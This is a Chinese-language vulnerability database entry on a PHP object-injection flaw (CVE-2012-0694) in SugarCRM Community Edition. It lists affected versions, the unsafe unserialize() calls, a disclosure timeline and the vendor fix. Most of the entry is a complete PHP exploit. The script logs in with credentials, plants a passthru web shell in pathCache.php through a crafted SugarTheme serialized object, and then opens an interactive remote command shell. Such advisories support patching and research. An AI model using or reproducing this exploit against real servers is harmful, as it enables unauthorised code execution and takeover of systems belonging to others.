ZeroBox Vulnerability Database

漏洞起因
输入验证错误
危险等级
中

影响系统
SugarCRM Community Edition 5.0
SugarCRM Community Edition 4.5.1
SugarCRM Community Edition 6.3.0RC1
SugarCRM Community Edition 5.0.0c
SugarCRM Community Edition 4.5.1j

不受影响系统
SugarCRM Community Edition 6.4.0

危害
远程攻击者可以利用漏洞以WEB权限执行执行任意代码。

攻击所需条件
攻击者必须访问SugarCRM。

漏洞信息
SugarCRM是一款客户关系管理系统。
SugarCRM多个脚本使用用户可控输入的”unserialize()”函数，可被利用通过”SugarTheme”类中的”__destruct()”方法，通过$_REQUEST[‘current_query_by_page’]输入变量传递ad-hoc序列化对象来执行任意PHP代码，

测试方法

<?php

/*
    -------------------------------------------------------
    SugarCRM CE <= 6.3.1 "unserialize()" PHP Code Execution
    -------------------------------------------------------

    author...........: Egidio Romano aka EgiX
    mail.............: n0b0d13s[at]gmail[dot]com
    software link....: http://www.sugarcrm.com/

    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+

    [-] Vulnerable code in different locations:

    include/export_utils.php:377:  $searchForm->populateFromArray(unserialize(base64_decode($query)));
    include/generic/Save2.php:197:  $current_query_by_page_array = unserialize(base64_decode($current_query_by_page));
    include/MVC/Controller/SugarController.php:593:  $_REQUEST = unserialize(base64_decode($temp_req['current_query_by_page']));
    include/MVC/View/views/view.list.php:82:  $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));
    modules/Import/Importer.php:536:  $firstrow    = unserialize(base64_decode($_REQUEST['firstrow']));
    modules/ProjectTask/views/view.list.php:95:  $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));

    The vulnerability  is  caused  due to  all these scripts using "unserialize()" with user  controlled input.
    This can be exploited to e.g. execute arbitrary PHP code via the  "__destruct()" method of the "SugarTheme"
    class, passing an  ad-hoc  serialized object through the $_REQUEST['current_query_by_page'] input variable.

    [-] Disclosure timeline:

    [31/10/2011] - Vulnerability discovered
    [05/11/2011] - Vendor notified to secure(at)sugarcrm.com
    [25/11/2011] - Vendor notified to http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/
    [07/12/2011] - Vendor fix the issue on his own within 6.4.0 RC1 release
    [10/01/2012] - CVE number requested
    [12/01/2012] - Assigned CVE-2012-0694
    [06/02/2012] - Issue addressed within 6.4.0 version
    [23/06/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------+";
print "\n| SugarCRM CE <= 6.3.1 Remote Code Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 5)
{
    print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
    print "\nExample....: php $argv[0] localhost / sarah sarah";
    print "\nExample....: php $argv[0] localhost /sugarcrm/ jim jim\n";
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

$payload = "module=Users&action=Authenticate&user_name={$argv[3]}&user_password={$argv[4]}";
$packet  = "POST {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID=1\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$login = http_send($host, $packet);

if (preg_match("/action=Login/", $login)) die("\n[-] Login failed!\n");
if (!preg_match("/Set-Cookie: (.*) path/", $login, $sid)) die("\n[-] Session ID not found!\n");

class SugarTheme
{
    protected $dirName = '../..';
    private   $_jsCache = '<?php error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD])); ?>';
}

$payload = "module=Contacts&Contacts2_CONTACT_offset=1&current_query_by_page=".base64_encode(serialize(new SugarTheme));
$packet  = "POST {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}pathCache.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\nsugar-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/s:72:"(.*)";s:8/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

厂商解决方案
SugarCRM Community Edition 6.4.0已经修复此漏洞，建议用户下载使用：
http://www.sugarcrm.com/

漏洞提供者
EgiX